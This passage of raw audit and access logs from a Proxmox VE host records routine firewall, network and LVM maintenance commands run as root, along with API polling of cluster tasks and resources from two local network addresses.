pid=64599 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565242,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965565.242:66143): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63527 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964940621,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:39 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1090"} {"@timestamp":1781965815161,"@rawstring":"node=pve type=EXECVE msg=audit(1781965815.161:67215): argc=1 a0=\"date\""} {"@timestamp":1781964195455,"@rawstring":"node=pve type=EXECVE msg=audit(1781964195.455:59994): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965825344,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965825.344:67261): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64598 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565230,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965565.230:66142): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63526 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964939312,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:38 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781965815156,"@rawstring":"node=pve type=EXECVE msg=audit(1781965815.156:67213): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964195449,"@rawstring":"node=pve type=EXECVE msg=audit(1781964195.449:59993): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965825337,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965825.337:67260): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64597 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565223,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965565.223:66141): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc039e40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63525 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964939312,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:38 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 462"} {"@timestamp":1781965815148,"@rawstring":"node=pve type=EXECVE msg=audit(1781965815.148:67212): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964195444,"@rawstring":"node=pve type=EXECVE msg=audit(1781964195.444:59992): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965825332,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965825.332:67259): arch=c000003e syscall=59 success=yes exit=0 a0=592720e06d30 a1=592720e12af0 a2=592720de0680 a3=5 items=2 ppid=64590 pid=64596 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565214,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965565.214:66140): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ede00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63524 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964939312,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:38 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781965815139,"@rawstring":"node=pve type=EXECVE msg=audit(1781965815.139:67211): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964195438,"@rawstring":"node=pve type=EXECVE msg=audit(1781964195.438:59991): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965825329,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965825.329:67258): arch=c000003e syscall=59 success=yes exit=0 a0=592702244ac8 a1=7ffcaa7f53f0 a2=592720de0680 a3=59270222824e items=2 ppid=64590 pid=64592 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565201,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965565.201:66139): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecba2b2700 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63523 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964936709,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:35 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781965815133,"@rawstring":"node=pve type=EXECVE msg=audit(1781965815.133:67210): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964195431,"@rawstring":"node=pve type=EXECVE msg=audit(1781964195.431:59990): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965825328,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965825.328:67257): arch=c000003e syscall=59 success=yes exit=0 a0=7ffcaa7f53b0 a1=592720e023d0 a2=592720de0680 a3=5 items=2 ppid=64590 pid=64591 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965564999,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965564.999:66138): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d740b9f0 a1=64f8d73c3c70 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63522 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964936709,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:35 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1090"} {"@timestamp":1781965815124,"@rawstring":"node=pve type=EXECVE msg=audit(1781965815.124:67209): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964195425,"@rawstring":"node=pve type=EXECVE msg=audit(1781964195.425:59989): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965825324,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965825.324:67255): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64590 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965564953,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965564.953:66137): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d74090f0 a1=64f8d73dc160 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63521 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964936709,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:35 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 848"} {"@timestamp":1781965815113,"@rawstring":"node=pve type=EXECVE msg=audit(1781965815.113:67208): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964195419,"@rawstring":"node=pve type=EXECVE msg=audit(1781964195.419:59988): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965825317,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965825.317:67254): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64589 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965563475,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965563.475:66136): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899554b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63518 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964935693,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:35 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781965814614,"@rawstring":"node=pve type=EXECVE msg=audit(1781965814.614:67207): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964195415,"@rawstring":"node=pve type=EXECVE msg=audit(1781964195.415:59987): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965825306,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965825.306:67253): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64588 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965563465,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965563.465:66133): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899553f0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63517 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964935693,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:34 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781965814580,"@rawstring":"node=pve type=EXECVE msg=audit(1781965814.580:67206): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964195412,"@rawstring":"node=pve type=EXECVE msg=audit(1781964195.412:59986): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965825300,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965825.300:67252): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac9b60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64587 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965558456,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965558.456:66130): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955330 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63514 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964933875,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:32 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1087"} {"@timestamp":1781965814411,"@rawstring":"node=pve type=EXECVE msg=audit(1781965814.411:67205): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964195411,"@rawstring":"node=pve type=EXECVE msg=audit(1781964195.411:59985): argc=1 a0=\"date\""} {"@timestamp":1781965825291,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965825.291:67251): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc136230 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64586 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965558439,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965558.439:66127): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955270 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63513 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964932658,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:32 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 461"} {"@timestamp":1781965814399,"@rawstring":"node=pve type=EXECVE msg=audit(1781965814.399:67202): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964195407,"@rawstring":"node=pve type=EXECVE msg=audit(1781964195.407:59983): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965825282,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965825.282:67250): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc12d5b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64585 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555189,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965555.189:66124): arch=c000003e syscall=59 success=yes exit=0 a0=58c472553b20 a1=58c47255fe40 a2=58c47252d680 a3=5 items=2 ppid=63504 pid=63510 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964932658,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:31 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1085"} {"@timestamp":1781965809393,"@rawstring":"node=pve type=EXECVE msg=audit(1781965809.393:67199): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964195400,"@rawstring":"node=pve type=EXECVE msg=audit(1781964195.400:59982): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965824754,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965824.754:67249): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73bbd20 a1=64f8d15510b0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64584 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555184,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965555.184:66123): arch=c000003e syscall=59 success=yes exit=0 a0=58c440eb9ac8 a1=7fffda08fac0 a2=58c47252d680 a3=58c440e9d24e items=2 ppid=63504 pid=63506 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964931654,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:30 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 465"} {"@timestamp":1781965809385,"@rawstring":"node=pve type=EXECVE msg=audit(1781965809.385:67196): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964195394,"@rawstring":"node=pve type=EXECVE msg=audit(1781964195.394:59981): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965824727,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965824.727:67248): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73bbbe0 a1=64f8d7415fe0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64583 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555184,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965555.184:66122): arch=c000003e syscall=59 success=yes exit=0 a0=7fffda08fa80 a1=58c47254f1c0 a2=58c47252d680 a3=5 items=2 ppid=63504 pid=63505 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964930259,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:29 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1087"} {"@timestamp":1781965806102,"@rawstring":"node=pve type=EXECVE msg=audit(1781965806.102:67193): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964195389,"@rawstring":"node=pve type=EXECVE msg=audit(1781964195.389:59980): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965824442,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965824.442:67247): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64580 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555179,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965555.179:66120): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63504 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964930259,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:29 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 845"} {"@timestamp":1781965806098,"@rawstring":"node=pve type=EXECVE msg=audit(1781965806.098:67192): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964195382,"@rawstring":"node=pve type=EXECVE msg=audit(1781964195.382:59979): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965824435,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965824.435:67244): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64579 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555170,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965555.170:66119): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63503 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964930259,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:29 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 466"} {"@timestamp":1781965806097,"@rawstring":"node=pve type=EXECVE msg=audit(1781965806.097:67191): argc=1 a0=\"date\""} {"@timestamp":1781964195376,"@rawstring":"node=pve type=EXECVE msg=audit(1781964195.376:59978): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965819424,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965819.424:67241): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64578 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555164,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965555.164:66118): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63502 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964928627,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:27 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1085"} {"@timestamp":1781965806093,"@rawstring":"node=pve type=EXECVE msg=audit(1781965806.093:67189): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964194989,"@rawstring":"node=pve type=EXECVE msg=audit(1781964194.989:59977): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965819417,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965819.417:67238): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64577 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555156,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965555.156:66117): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63501 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964927129,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:26 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1087"} {"@timestamp":1781965806084,"@rawstring":"node=pve type=EXECVE msg=audit(1781965806.084:67188): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964194963,"@rawstring":"node=pve type=EXECVE msg=audit(1781964194.963:59976): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965815268,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965815.268:67235): arch=c000003e syscall=59 success=yes exit=0 a0=556e68360e90 a1=556e6835dc10 a2=556e6833f680 a3=5 items=2 ppid=64570 pid=64576 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555149,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965555.149:66116): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63500 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964927129,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:26 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 465"} {"@timestamp":1781965806075,"@rawstring":"node=pve type=EXECVE msg=audit(1781965806.075:67187): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964193259,"@rawstring":"node=pve type=EXECVE msg=audit(1781964193.259:59975): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965815265,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965815.265:67234): arch=c000003e syscall=59 success=yes exit=0 a0=556e321beac8 a1=7fffd8b47950 a2=556e6833f680 a3=556e321a224e items=2 ppid=64570 pid=64572 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555144,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965555.144:66115): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5c810e832740 